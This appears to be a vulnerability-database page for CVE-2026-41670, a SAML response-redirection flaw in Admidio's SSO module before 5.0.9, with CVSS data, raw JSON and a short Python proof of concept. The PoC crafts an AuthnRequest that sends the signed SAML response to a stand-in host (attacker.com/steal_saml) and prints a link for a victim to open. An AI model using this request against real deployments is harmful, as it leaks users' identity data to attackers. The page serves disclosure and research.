Security Vulnerability Report
中文
CVE-2026-41670 CVSS 8.2 HIGH

CVE-2026-41670

Published: 2026-05-07 04:16:31
Last Modified: 2026-05-07 15:16:09

Description

Admidio is an open-source user management solution. Prior to version 5.0.9, the SAML IdP implementation in Admidio's SSO module uses the AssertionConsumerServiceURL value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (smc_acs_url) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary AssertionConsumerServiceURL, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL. This issue has been patched in version 5.0.9.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Admidio < 5.0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-41670: Admidio SAML Assertion Consumer Service URL Validation Bypass # This script demonstrates how to craft a malicious SAML AuthnRequest. import urllib.parse TARGET_IDP_URL = "https://target-admidio.com/adm_program/modules/sso/saml.php" ATTACKER_URL = "https://attacker.com/steal_saml" SP_ENTITY_ID = "registered_sp_entity_id" # Must be a valid ID known to the IdP def generate_authn_request(): # Simplified SAML AuthnRequest template saml_request = f""" <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_1234567890" Version="2.0" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" AssertionConsumerServiceURL="{ATTACKER_URL}" IssueInstant="2026-05-07T00:00:00Z" Destination="{TARGET_IDP_URL}" ProviderName="{SP_ENTITY_ID}"> <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">{SP_ENTITY_ID}</saml:Issuer> </samlp:AuthnRequest> """ # In a real attack, this would be Deflated and Base64 encoded encoded_request = urllib.parse.quote(saml_request.strip()) return f"{TARGET_IDP_URL}?SAMLRequest={encoded_request}" if __name__ == "__main__": malicious_url = generate_authn_request() print(f"Send this URL to the victim (requires UI interaction):\n{malicious_url}") print(f"\nThe SAML Response will be sent to: {ATTACKER_URL}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41670", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:30.993", "lastModified": "2026-05-07T15:16:08.560", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, the SAML IdP implementation in Admidio's SSO module uses the AssertionConsumerServiceURL value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (smc_acs_url) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary AssertionConsumerServiceURL, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL. This issue has been patched in version 5.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-601"}]}], "references": [{"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-p9w9-87c8-m235", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-p9w9-87c8-m235", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}